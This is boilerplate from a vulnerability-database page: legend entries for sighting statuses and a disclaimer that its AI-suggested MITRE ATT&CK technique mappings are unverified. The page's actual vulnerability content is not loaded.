- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…
Loading…